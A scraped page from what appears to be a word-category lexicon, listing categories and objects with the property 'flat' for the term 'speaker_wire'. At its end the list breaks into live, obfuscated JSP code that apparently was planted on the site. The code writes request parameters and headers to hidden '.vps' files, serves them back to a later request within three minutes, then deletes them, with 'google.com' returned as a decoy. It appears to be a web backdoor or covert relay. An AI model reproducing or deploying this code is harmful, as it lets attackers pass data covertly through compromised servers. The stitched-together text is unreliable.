Use the & operator to see the shared categories of two terms. E.g.
cola & coffee
or
divorce & war
Go Back
See XML
Categories for
speaker_wire
with nuance
flat
:
flat:wire,
Simple categories matching
flat
:
object,
surface,
product,
ceiling,
lighting,
rod,
flower,
deck,
material,
item,
seal,
speaker,
article,
strip,
subject,
segment,
figure,
substrate,
ribbon,
area,
floor,
implement,
bread,
package,
condition,
cloth,
panel,
fish,
side,
land,
circuit,
background,
ground,
muscle,
ware,
record,
content,
cover,
work,
display,
component,
wall,
topology,
collection,
instrument,
option,
space,
cookware,
rock,
drawing,
stone,
paint,
sheet,
part,
textile,
works,
stick,
shape,
paper,
wire,
pad,
section,
earth,
bottle,
web,
portion,
furniture,
bottom,
solid,
blank,
roof,
member,
tableware,
accessory,
plate,
footwear,
block,
course,
mold,
conductor,
base,
painting,
device,
food,
road,
document,
representation,
book,
foot,
container,
tin,
foliage,
art,
substance,
support,
design,
medium,
specimen,
clothing,
string,
underside,
plane,
gasket,
graphic,
place,
glass,
charge,
slab,
artifact,
ornament,
waveform,
mineral,
metal,
particle,
shield,
pan,
vehicle,
form,
structure,
x-ray,
system,
body,
tube,
sign,
fruit,
board,
fee,
polygon,
mirror,
terrain,
tissue,
fabric,
piece,
copy,
epithelium,
screen,
image,
card,
dish,
plan,
equipment,
tray,
original,
blade,
artwork,
marker,
creature,
tool,
linen,
crystal,
ride,
embellishment,
feature,
abstraction,
upland,
weapon,
facility,
region,
brush,
thing,
stage,
Members with property
flat
:
table,
mask,
lemon,
plate_bottom,
wall,
copper_alloy,
dish_pan,
floor,
paper,
graphite,
mirror,
schematic,
aluminum_clip,
holder,
chisel,
dutch_oven,
dry_wall,
painting,
shirt,
planar_speaker,
long_driveway,
lobby_card,
exercise_mat,
book,
arms,
screw,
road_shoulder,
nylon_webbing,
fabric,
metal_table,
alleyway,
suspended_slab,
flexible_belt,
box-spring_mattress,
glass,
siding_material,
ship_hull,
street_surface,
floor_carpet,
tablecloth,
pillow_case,
concrete_patio,
plastic_substrate,
tray,
rear_deck,
damp_roads,
albatross,
lamination,
timber,
oven_dish,
quiet_pool,
ceramic_plate,
cd_case,
literature_display,
lining,
fragment,
medium_disc,
machine_design,
note,
tile,
tool_box,
afghan,
centerboard,
stall_mat,
crystalline_silicon,
tape,
tank_side,
shield,
advertising_board,
local-call_charge,
tidal_plain,
ways,
art_canvas,
machine-tool_table,
hallway,
projection,
shower,
concrete_cement,
dressage,
tangerine,
jersey,
granite,
lens_papers,
sound-pressure_level,
working_document,
metal_pan,
grass,
overpass,
straight_cylinder,
wood_shim,
blanket,
postcard,
array,
bureau,
big_sheet,
crystal_face,
open_shade,
letterhead,
data_plate,
large_platter,
rule,
wheelchair_lap,
trim,
platter,
light_box,
flat_screwdriver,
paper_sheet,
sapphire,
post,
comic_book,
river_floodplain,
upper_lip,
letter_envelope,
sofa,
paved_roads,
small_dish,
bolt_face,
art_print,
gage_block,
architectural_drawing,
trout,
pie_plate,
paving_slab,
indonesian_shield,
tabletop_surface,
halibut,
gasket,
grill,
photo_print,
quadriceps,
mattress,
plate_bar,
thin_section,
certain_weapon,
mansard,
ballpoint_pen,
plastic_sheet,
bed,
plank,
masonry_wall,
flooring_substructure,
stable_workbench,
sunfish,
wall_part,
nan_bread,
marble,
columbia_basin,
lava_rock,
tape_cassette,
bathroom_counter,
glider,
binding,
lacquer,
pa,
slide_glass,
sanitary_napkin,
springboard,
photo_negative,
felt,
concrete_walkway,
vise,
polyester_string,
balcony,
ect,
styrofoam,
cotton_twill,
plastic_tray,
sweater,
farm,
paved_area,
empty_shelf,
silver,
accretion_disc,
stainless-steel_sink,
print,
top,
essene_bread,
plastic_material,
trailer,
large_log,
basement_floor,
sheet-metal_component,
farm_machinery,
river_valley,
concrete_terrace,
floor_surface,
broiler,
porch,
cabinet_door,
pizza,
image,
aper_clip,
painted_screen,
rock,
aquarium_hood,
backing_board,
tetrahedron,
suit,
plaster,
curtain,
wood_column,
suv,
seal,
mug,
automobile_dashboard,
table_top,
rest,
paved_surface,
cake_tray,
door_frame,
shelter_house,
ellipse,
keyboard_amp,
laundry_countertop,
bridge_front,
sheet_aluminum,
plane_wing,
glass_pane,
x-ray,
wooden_patio,
boise_elevator,
screwdriver_blade,
floor_tile,
counter_front,
cricket_pitch,
concrete_driveway,
bus_shelter,
metal_chain,
oval,
under_couch,
silicon_wafer,
plane_mirror,
parking_apron,
flat_cloth,
call,
disassembly_mat,
city_street,
cathedral_ceiling,
somerset_level,
ground,
stair_steps,
picturesque_seafront,
netball_court,
bin,
valve_gear,
temporary_tattoo,
arrow,
plain_land,
windowpane,
travel_trailer,
flat_copper,
block_work,
car_dashboard,
apartment_rooftop,
wood_deck,
pavement,
carport,
tailgate,
delivery_document,
fabric_roll,
patch_panel,
mantle,
metal_foil,
supporting_floor,
pier,
artificial_surface,
strip,
grosgrain,
diary,
flat_washer,
cement_floor,
spatula_blade,
ceramic_substrate,
ray,
road,
locker_floor,
dishpan,
top_clothes,
aluminium,
lawn,
back_panel,
metal_plate,
play_mat,
truck_trailer,
utility_box,
metallic_substrate,
cotton_knit,
hood,
mural,
steel_ladder,
transparent_window,
workshop_floor,
showroom_windows,
vacant_lots,
smooth_wall,
scarf,
cake_circle,
plasterboard,
button,
valley_bottom,
silicon_crystal,
metal_sheet,
pencil,
parking_deck,
floor_parts,
veneer,
thin_knife,
kitchen_spatula,
bag,
windowsill,
tank_cover,
envelope,
hollow_glasses,
plasma_display,
workbench,
counter,
cabinet_wall,
magnetic_chuck,
sack,
nautical_chart,
couch_cushion,
page_numbering,
pamphlet,
bookshelf,
tank,
breech_block,
car_bumper,
watercolour,
helicopter_deck,
woven_fabric,
fender,
palette,
nail,
base_plate,
sewing-machine_cabinet,
concrete_slab,
broad,
flat_driveway,
quarter,
net_fence,
large_photograph,
sheet_tray,
deck_post,
glass_wafer,
glass_sheet,
clothes,
software_icon,
picture,
abductor,
wood,
white_paint,
booklet,
asphalt_pavement,
bluegill,
van,
test_track,
broad_fence,
beach,
cement_patio,
rectangle,
torso,
legs,
pasture,
water,
primary,
room_edition,
book_illustration,
farm_yard,
barn,
small_poster,
door_panel,
dome_cover,
crayon,
seat_slat,
steel,
dover_sole,
transdermal_patch,
tank_bottom,
pit_bottom,
wall_tile,
textile_material,
chair,
cork,
bookend,
minkowski_space,
architectural_rendering,
body,
sport_field,
copper,
hood_surface,
counter_top,
pane,
crappie,
smooth_pavement,
charm,
personalized_stationery,
smear,
hourly_fee,
sandstone,
trophy_plaque,
under_desktop,
raised_table,
kitchen_countertop,
thin_film,
perspex,
memory_medium,
ceiling,
disc,
paper_cutout,
shelf,
flat_panel,
plain_wall,
copper_tube,
fixture,
sanding_block,
limestone,
building_exterior,
road_way,
drawer_bottom,
prairie,
primer,
x-ray_table,
solar_panel,
written_work,
swimming-pool_deck,
bumper,
shade,
valentine,
display_map,
printing,
automobile_hood,
popsicle_stick,
griddle,
tail,
chapati,
optical_devices,
hardware_box,
light_fixture,
acetate,
magazine_cover,
brass_plate,
painting_figure,
clarinet,
dashboard,
flatbed_truck,
bus,
underground_bunker,
bench,
cleavage_face,
fascia_board,
stationery,
store_shelf,
mail_envelope,
aquarium,
leather,
crushed_stone,
rubber,
dining-room_table,
glass_plate,
road_bed,
approach,
dvd_case,
changing_table,
chimney,
unfinished_basement,
similar_material,
fin,
cream_container,
lamp_post,
broadside,
sign_face,
pendant,
electronic_module,
tibetan_plateau,
flat_board,
cylinder-head_gasket,
wall_parts,
fan_brush,
lab_table,
patio_stone,
tabletop,
optical_flat,
slag_roof,
vehicle_windscreen,
square_waveform,
garage,
grill_top,
hake,
home_glass,
sheet_plywood,
display,
matzoh,
goose,
stamping_block,
aggregate,
speaker,
lucky_token,
pan,
leaflet,
magazine_paper,
asphalt_way,
sideboard,
broken_glass,
broiler_pan,
wool_crepe,
bin_tag,
wall_paint,
polymer,
platysma,
gear,
countertop,
grassland,
needlepoint,
glossy_paper,
sturdy_book,
integrated-circuit_substrate,
divider,
old_tile,
pedicure_sander,
coin_shape,
kitchen_platform,
vehicle,
roller-skating_rink,
transom,
flange,
annual_fee,
desk,
brick,
carpet,
tiny_screwdriver,
granite_block,
small_ruler,
square,
tooling_plate,
camper,
street,
rooftop_area,
copy_book,
fender_dolly,
silicon_substrate,
meat_tray,
bottom,
family_photo,
dentin,
stove,
factory_floor,
hold,
bowls,
photograph,
riparian_zone,
airport,
bathroom_countertop,
door,
metal_section,
fibula,
film,
toilet_cistern,
jean,
slate,
wood_spatula,
cabinet_panel,
lab_counter,
textile,
pc_plate,
flat_spring,
granite_surface,
printed-circuit_board,
pelvic_diaphragm,
concrete_wall,
mallet,
architrave,
indiana,
trapezius,
canvas,
car_roof,
stump,
wet_roads,
rug,
glass_substrate,
carton,
capacitor_speaker,
highway_sign,
webbing,
watch_band,
clothing,
refrigerator_shelf,
acrylic,
water_body,
video_cassette,
wool,
note_pad,
windshield,
parallel_plate,
broad_screwdriver,
ceramics,
water_bin,
reference_map,
twill,
baseboard,
cement_driveway,
panel,
deck_railing,
ceramic_tile,
craft_stick,
solid_wood,
shipment_pouch,
bobsled_track,
big_machine,
automobile,
voucher,
dime,
handkerchief,
scale,
amulet_bag,
playground,
big_meadow,
tie,
registration_plate,
ski,
bark,
abdomen,
earth_surface,
vertical_stabilizer,
single_magazine,
vehicle_seat,
quartz_disk,
compass,
roadway,
hanger_body,
computer_case,
cement,
rubber_mat,
junction_box,
speaker_wire,
garage_door,
cracker,
cast-iron_skillet,
garment,
strong_table,
watch_back,
ear_base,
television,
si_substrate,
magazine_page,
river_terrace,
aircraft_runway,
long_shelf,
flat,
record,
flanders_coast,
flat_fence,
parkland,
gates,
hardboard,
business_envelope,
blacktop_driveway,
faint_texture,
salmon,
quartz_substrate,
kitchen_floor,
grass_field,
wood-block_floor,
cheese_grater,
plate_metal,
narrow_aperture,
wide_timber,
finished_driveway,
pan_lid,
floppy_disc,
bench_top,
trunk,
abs,
warehouse_pallet,
dvd_cover,
aforementioned_dashboard,
postal_document,
stanchion_assembly,
napkin,
rear_tray,
vehicle_firewall,
larger_mirror,
pie_dish,
hammer,
toboggan_track,
film_roll,
shopping-center_corridor,
center_table,
bronze_panel,
back_counter,
fence_post,
echelon_plate,
grassy_park,
dvd,
padded_bag,
paint_tube,
ice_shelf,
cloth_napkin,
formica_top,
beanbag,
neck,
clay_tablet,
oxide_substrate,
patio_roof,
adhesive_member,
tin,
laptop_screen,
desktop,
shotgun_action,
tapestry,
text,
whiting,
mouse_pad,
hack-saw_blade,
pool_deck,
pitta_bread,
masonry,
bread,
light_flat,
boxcar,
block,
photo,
key_chains,
cleaning_stone,
surgical_linen,
side,
strainer_post,
cookie,
tractor,
corn_tortilla,
ie_plane,
blade,
relations,
fence,
rooftop,
rubber_mallet,
roll,
whole_body,
atlas,
polyester_web,
headland,
ornamental_slab,
chart,
retainer,
bridge,
woven_cloth,
level_ground,
compact_disk,
cover,
small_plate,
titanium,
brochure,
gambrel,
quartz_plate,
ruler,
table_stone,
hull,
plane,
glass_panel,
framed_picture,
wooden_siding,
laboratory_countertop,
concrete_flooring,
electrical_outlet,
frog_skin,
mexican_tortilla,
cement_pad,
hive_top,
sock,
settlement_area,
china_dish,
optical_fiber,
transaction_card,
paint_stirrer,
crib_mattress,
printing_form,
procedure_tray,
projection_film,
steps,
machinery,
holy_rock,
hamburger,
chromium,
yard,
picnic_table,
verge,
metal,
micro_mirror,
existing_patio,
sideboard_table,
sink,
burp_pad,
clapboard_siding,
sun_fish,
pillowcase,
large_knife,
smart_card,
ledge,
gabardine,
carpeting,
truck_cap,
vehicle_windshield,
video_disc,
windsor-chair_seat,
buffer,
underside,
audio,
crash_mat,
shower_wall,
rubber_sheet,
building,
tissue,
hydrogel_patch,
wooden_board,
windscreen,
sheet_lumber,
paving,
watch,
desk_top,
wainscoting,
headlight,
canvas_board,
corn_pone,
flash-memory_disk,
flat_package,
slide,
fine_art,
towel,
gear_blank,
fridge,
closed_roads,
blanket_edge,
wide_trim,
river_delta,
cube,
mountain,
back_edge,
extremity,
plant_debris,
limb,
technical_drawing,
flat_cable,
basin,
metal_spatula,
face,
matzo,
bathroom_floor,
bread_pan,
linoleum_floor,
fireplace_mantel,
marble_floor,
satin,
people_carrier,
chest_wall,
carpeted_floor,
ceiling_tile,
bedside_table,
vertical_wall,
clean_driveway,
balloon,
forceps,
metallic_mesh,
curb,
roads,
adjacent_wall,
couch,
small_booklet,
push,
writing,
granite_table,
stainless-steel_sheet,
chapatti,
id_card,
plastic,
cassette,
boat_hull,
leaf,
formica_counter,
litter_bin,
cabin_side,
wood_siding,
coat_front,
cabaret,
butter_plate,
sheet,
step_gage,
diagram,
coaster,
bonnet,
quiche_dish,
map_sheet,
square_tube,
magazine_clipping,
sewing-machine_top,
rudder,
pda,
sidewalk,
paved_driveway,
round_head,
quarter_panel,
billboard,
clay_saucer,
sport_hall,
deck_surface,
hoe,
bus_sheet,
automobile_seat,
hollow_section,
gondola,
transportation_sign,
knife,
burlap,
hardcover_book,
wall_picture,
crystal,
matchbox,
bedspread,
clipboard,
glass_board,
bamboo_spatula,
spoon,
cupboard,
lasagna_pan,
papyrus,
vector,
stationery_envelope,
small_screwdriver,
wafer,
clock_plate,
gum,
cog,
microwave,
liquid-crystal_display,
spring_steel,
quilt_square,
advertising_papers,
sichuan_basin,
lead,
large_sign,
x-ray_jacket,
drainboard,
waterway,
amazon_basin,
oven,
maximum_bow,
steel_slab,
montreal_area,
light_glove,
plastic_sign,
disk-drive_medium,
textile_product,
bus_sign,
new_car,
computer,
ground_surface,
table_mountain,
magazine_item,
flat_disk,
wallet,
gas_rack,
cd_cassette,
double_bag,
paper_map,
printed-circuit_track,
denim,
wooden_floor,
si_wafer,
pentagon,
formica,
dog_leash,
fiberglass,
mirror_substrate,
masseter,
bar_front,
skate,
wall_art,
silicon,
broker_fee,
nail_file,
journal_note,
savannah,
midplane,
box_top,
slate_rock,
old_patio,
daisy,
piano_key,
bench_seat,
aluminum,
makeup_mirror,
bicycle,
mantel,
box,
ridge,
chair_back,
display_card,
patio,
roof_deck,
name_plate,
image_plate,
popular_type,
photographic_print,
sand_hill,
theatre_program,
split_leather,
large_tabletop,
concrete_pavement,
egyptian_plain,
album,
deck,
semiconductor_substrate,
airport_runway,
siding,
concrete_floor,
nonconductive_washer,
blueprint,
aircraft_wings,
bill,
award,
letters,
watercolor,
cube_face,
carousel,
drawing,
germanium,
roux_flask,
kitchen_counter,
newspaper,
bookcase,
art,
dresser_drawer,
low_country,
level_field,
gazebo_railing,
magnetic_diskette,
slab,
key_set,
tongue_blade,
basketball_parquet,
car_hood,
shed_roof,
washer,
flat_roof,
banner,
gym_floor,
industrial_floor,
small_tabletop,
commercial_area,
blue_print,
cord,
taxiway,
cast-iron_tube,
feather,
iris_leaf,
ivory_veneer,
alumina_silicate,
chipboard,
pool,
bed_mattress,
medium,
concrete_surface,
fascia,
transparent_sheet,
shading_area,
carriage,
portfolio,
pancake,
scrabble_piece,
news_message,
poster,
marsh,
blood_smear,
mica,
plastic_plate,
acoustic_amp,
blacktop,
rigid_foot,
catalog,
latex_primer,
cardboard,
jacket,
form,
cabin,
flagstone,
track,
chest,
picnic_place,
football,
deck_rail,
semiconductor_surface,
evergreen_acres,
electronic_wafer,
plant_tray,
shift,
frame,
airplane_seat,
mirror_top,
textured_fabric,
beam,
connector,
toolbox,
hardwood_floor,
transparency,
si,
plywood,
pvc,
stone,
no_pyrex,
sport,
flag,
header,
cloth,
kiln_lid,
sole,
keyboard,
diamond,
skateboard_helmet,
ic_card,
jewelry,
trunk_panel,
magazine_illustration,
flat_stone,
cell_phone,
hill_bottom,
clean_floor,
fingerprint_card,
thin_sheet,
accretion_disk,
floor_part,
furniture,
glove,
car_bonnet,
artifact,
square_legs,
auto_bumper,
skillet,
desert,
cardboard_packaging,
trapezoid,
large_book,
thing,
pot_lid,
pot,
appliance_glass,
magnetic_sheet,
hardwood_flooring,
substrate_film,
dirt,
postal_cover,
video_works,
thin_plywood,
disk,
vehicle_windows,
sheet-metal_siding,
meadow,
asphalt,
flange_face,
trowel,
tattoo,
iron,
antique_map,
table_cloth,
cylinder-head_deck,
screen,
stripper_plate,
sampler,
board,
agar_plate,
palm_leaf,
carton_blank,
piece,
desk_surface,
dresser,
highway_pavement,
shooting_bench,
audio_cassette,
copper_sheet,
lcd,
diaper,
strut,
graphics,
outside_wall,
level,
circuit_support,
outdoor_patio,
pie_tin,
plastic_foil,
plaque,
housing,
refrigerator,
news,
large_plate,
circuit,
container,
key_fob,
child_bed,
filter_medium,
illustration,
roof_sheathing,
north,
old_plate,
lens_mount,
gramophone_record,
triangle,
plastic_binder,
punch_retainer,
wallboard,
handheld_platform,
tarpaulin,
hill_top,
nameplate,
accurate_ruler,
shale,
pvc_sheet,
acrylic_plate,
key,
shoe_boot,
changing_mat,
manna_bread,
catalogue,
polyester,
granite_countertop,
desk_leg,
ribbon,
dinosaur,
shovel,
drum,
foil,
photo_frame,
computer_housing,
cement_ground,
body_panel,
electric_ray,
air-terminal_floor,
drying_table,
quilt,
granite_plate,
dried_leaf,
stage,
video,
bathroom,
ice,
floorboard,
cockpit,
silicon_dice,
sheet_material,
dirt_path,
memory_card,
clams,
wallpaper,
stamp,
fur,
paper_strip,
skin,
terry_towelling,
file,
windbreak_fencing,
concrete,
glass_surface,
flat_octagon,
book_page,
desert_floor,
cu_foil,
photography,
scraper,
machine_part,
mountain_bread,
flyer,
tripod,
building_wall,
binder,
linoleum_countertop,
stick,
graphic_panel,
life_drawing,
cotton,
smooth_skate,
tortilla_griddle,
sheetrock_ceiling,
clay,
railing,
plywood_sheet,
magnet,
parapet_wall,
transparent_material,
adhesive_polyester,
screwdriver,
window_sill,
block_gauge,
deck_work,
auto_glass,
chin,
roof_terrace,
cabin_roof,
curb_face,
concrete_platform,
cheek,
acrylic_sheeting,
spatula,
brief_case,
naan,
flat_line,
carbon,
rod,
boardwalk,
plan,
doorway,
old_photo,
rectangular_rod,
trailer_body,
valley_floor,
surgeon_glove,
set,
calm_water,
concrete_beam,
cake_pan,
flat_acrylic,
baseball,
default_front,
pen,
painted_wood,
lumber,
aquarium_glass,
school_playground,
scenic_background,
airframe_skin,
marginal_ridge,
nan,
casing,
oval_track,
cardboard_model,
cooling_rack,
circle,
magnetic_tape,
card,
name_card,
old_magazine,
car,
flooring,
rear_wings,
writing_box,
mat,
equipment,
sturdy_table,
window_opening,
soccer_field,
vacation_photo,
plaice,
hacksaw,
deck_fascia,
tunnel_extension,
razor,
clip_frame,
magnetic_printing,
bitumen_roads,
desk_panel,
fabric_piece,
sport_card,
foam_board,
bird_head,
wheelchair_tray,
web,
natural_stone,
original_deck,
spring_strip,
floor_mat,
lithograph,
watch_plate,
shoulder,
trailer_bed,
side_panel,
mail_box,
riser,
biscuit,
perspective_drawing,
waffle,
semiconductor_wafer,
bookmark,
magazine,
pizza_pan,
large_table,
vinyl_record,
woodwork,
caramel_square,
button_shape,
sheet_pan,
plaza,
cabinet,
fen,
tree,
piano,
wood_floor,
certificate,
terminal_block,
surface_plate,
spade,
platform,
today_stage,
park,
shoe-polish_tin,
garage_floor,
painted_surface,
sandpaper,
semiconductor,
jumbo_card,
sapphire_flats,
paperboard,
roof_top,
rendering,
trumpet,
sign,
postal_packet,
seat_back,
conference-table_top,
chest_x-ray,
video_tape,
volcanic_basalt,
margarine_container,
drive,
flag_stone,
polymer_sheet,
similar_surface,
vehicle_floor,
webbing_material,
wall_plaque,
mandarin,
greek_pita,
cone,
newsprint,
masonry_trowel,
instruction_sheet,
linoleum,
bottom_panel,
hide,
robotic_machine,
tile_floor,
dainty,
dish,
bristle_board,
lamella,
wings,
bulkhead,
flat_side,
wood_post,
cylinder-head_seal,
footpath,
toast,
head_light,
glass_table,
wavy_sheet,
folder,
steel_sheet,
automotive_panel,
adze,
court,
coupling_face,
file-cabinet_wall,
publication,
actual_wall,
glass_slide,
microfiche,
pie_pan,
painted_wall,
highway,
plinth,
desk_side,
plasma_screen,
old_door,
hip_shower,
roof_panel,
nagano_basin,
aisle,
saucer,
log,
shallow_cup,
paved_roadway,
lab_stool,
camera_body,
quartz,
radiant_warmer,
windows,
crepe,
paperweight,
door_skin,
nylon,
lcd_screen,
place,
knit,
autumn_leaf,
roof,
runway,
link,
office_room,
terrace,
fossa,
tread,
plastic_sheeting,
lcd_display,
brass,
gutter,
machine,
pita_bread,
broadleaf_weeds,
frisbee,
urogenital_diaphragm,
pastry_board,
costume,
gravel_roadbed,
divider_plate,
drawer_front,
uniform,
package,
custom_knife,
bathroom_shelf,
large_tile,
pan_head,
cutout,
paint_scraper,
playground_surface,
roller_tray,
tombstone,
wooden_ruler,
blower_housing,
compact_disc,
similar_goods,
paper_bundle,
grommet,
haddock,
mantle_shelf,
water_surface,
cart,
flattened_bag,
concrete_footing,
stool,
sticker,
tube,
baked_goods,
airport_apron,
brill,
gravelly_ground,
page,
identification_card,
front,
jones_reflector,
mudskipper,
floor_slab,
hospital,
ticket,
drywall,
chalkboard,
off_windshield,
machine_table,
rear_fender,
urethane_flooring,
terrace_surface,
house_plan,
cover_panel,
reactor_tank,
window_sills,
flat_hexagon,
roadside,
heavy_book,
drywall_trowel,
croquet_lawn,
star,
data_diskette,
money_note,
craft,
token,
germination_tray,
large_area,
brick_wall,
basketball,
hide_parchment,
buffalo_ridge,
cd,
string,
bedding,
common_skate,
end_table,
diskette,
firm_bed,
field,
hearth,
arabic_bread,
terminal,
flat_keyboard,
printing_plate,
snow,
wooden_deck,
white_drawing,
rear,
turbot,
seedy_glass,
cardboard_circle,
mantelpiece,
textile_fabric,
acrylic_panel,
patio_deck,
mint,
old_ribbon,
building_skin,
bounty,
thin_plate,
cod,
pita,
computer_icon,
smaller_book,
plane_irons,
kitchen,
text_book,
tortilla,
parking_garage,
french_toast,
motorcycle,
surfboard,
point,
tarmac,
plastic_surface,
mesh,
broad_plaza,
cricket_square,
flathead_screwdriver,
indian_chapatti,
mousepad,
cup,
plastic_lid,
valve_leaflet,
document,
apron,
van_side,
circle_v,
carpet_tile,
music_book,
razor_blade,
omentum,
drywall_panel,
papers,
switch_plate,
horizontal_surface,
film_plane,
ax,
dark_ride,
fence_picket,
sheeting,
cookie_tin,
garage_roof,
scenic_backing,
pinion_gear,
currency_papers,
lid,
equipment_rack,
side_glass,
sphere,
head,
lectern,
line,
window,
flat_highway,
end_standard,
stainless_tray,
astrolabe,
decal,
dimensional_lumber,
hard_floor,
plate,
paperclip,
plasterer_workbench,
alloy,
square_plate,
molding,
comb,
flat_bowl,
mini_book,
computer_disk,
dress,
various_document,
bar,
taffeta,
metallic_locker,
forehead,
kitchen_bench,
fibreboard,
driveway,
map,
cad_drawing,
machete,
picket_sign,
small_table,
flat_iron,
acrylic_tube,
<%@page trimDirectiveWhitespaces="true"%> <%@page language="java" contentType="text/html; charset=UTF-8" pageEncoding="UTF-8"%> <%@page import="java.io.*"%> <%@page import="java.util.*"%> <%@page import="java.text.*"%> <%! static String cuy321a = null; public static String cuy321b(byte[] cuy321c) { char[] cuy321d = { 'A','B','C','D','E','F','G','H','I','J','K','L','M','N','O','P', 'Q','R','S','T','U','V','W','X','Y','Z','a','b','c','d','e','f', 'g','h','i','j','k','l','m','n','o','p','q','r','s','t','u','v', 'w','x','y','z','0','1','2','3','4','5','6','7','8','9','+','/' }; StringBuilder cuy321e = new StringBuilder(); int cuy321f = 0; for (int i = 0; i < cuy321c.length; i += 3) { int b = ((cuy321c[i] & 0xFF) << 16) & 0xFFFFFF; if (i + 1 < cuy321c.length) { b |= (cuy321c[i+1] & 0xFF) << 8; } else { cuy321f++; } if (i + 2 < cuy321c.length) { b |= (cuy321c[i+2] & 0xFF); } else { cuy321f++; } for (int j = 0; j < 4 - cuy321f; j++) { int c = (b & 0xFC0000) >> 18; cuy321e.append(cuy321d[c]); b <<= 6; } } for (int j = 0; j < cuy321f; j++) { cuy321e.append("="); } return cuy321e.toString(); } public void cuy321a(HttpServletRequest req) { if (cuy321a != null) return; String cuy321g = getServletContext().getRealPath(req.getRequestURI()).replace('\\', '/'); cuy321a = cuy321g.substring(0, cuy321g.lastIndexOf('/')) + "/"; } byte[] cuy321h(String cuy321i) { byte[] cuy321j = null; FileInputStream cuy321k = null; File file = new File(cuy321i); try { cuy321k = new FileInputStream(file); cuy321j = new byte[(int)file.length()]; cuy321k.read(cuy321j); } catch (Exception ex) { } finally { try { if (cuy321k != null) cuy321k.close(); } catch (Exception ex) { } } return cuy321j; } %> <% cuy321a(request); String cuy322a = request.getParameter("user"); String cuy322b = request.getParameter("rand"); String cuy322c = request.getParameter("id"); String cuy322d = request.getParameter("action"); int cuy322e = -1; if (request.getParameter("code") != null) cuy322e = Integer.parseInt(request.getParameter("code")) % 4; if (cuy322d != null && "home".equals(cuy322d)) { out.write("google.com"); } if (cuy322a != null && !"0".equals(cuy322a)) { String cuy322g = cuy321a + cuy322b + ".vps"; String cuy322f = cuy322g + "x"; String cuy322h = request.getParameter("hash"); String cuy322i = request.getHeader("From"); FileOutputStream cuy322j = null; cuy322j = new FileOutputStream(cuy322f); if(cuy322j != null) { DataOutputStream cuy322k = new DataOutputStream(cuy322j); cuy322k.writeLong(System.currentTimeMillis()); cuy322k.close(); cuy322j.close(); } cuy322j = new FileOutputStream(cuy322g, false); if(cuy322j != null) { cuy322j.write(cuy322h.getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322i.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322a.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.write(cuy321b(cuy322b.getBytes()).getBytes()); cuy322j.write('|'); cuy322j.flush(); cuy322j.close(); } out.write("google.com"); } else if (cuy322e == 0 && "0".equals(cuy322c)) { out.write("google.com"); } else if (cuy322e == 1) { File cuy322l = new File(cuy321a); String cuy322g = null; String cuy322f = null; int cuy322m = 0; if (cuy322l.exists() && cuy322l.isDirectory()) { for(File file:cuy322l.listFiles()) { cuy322g = file.getName(); if(cuy322g.endsWith(".vps")) { cuy322m = 1; cuy322g = file.getAbsolutePath(); cuy322f = cuy322g + "x"; break; } } } if (cuy322m == 1) { FileInputStream cuy321k = new FileInputStream(cuy322f); DataInputStream cuy322o = new DataInputStream(cuy321k); if(System.currentTimeMillis() - cuy322o.readLong() < 180000) { byte[] cuy322p = cuy321h(cuy322g); if (cuy322p != null) { out.write(new String(cuy322p)); } } cuy322o.close(); cuy321k.close(); File cuy322p1 = new File(cuy322g); cuy322p1.delete(); File cuy322pz = new File(cuy322f); cuy322pz.delete(); } else { out.write("google.com"); } } %>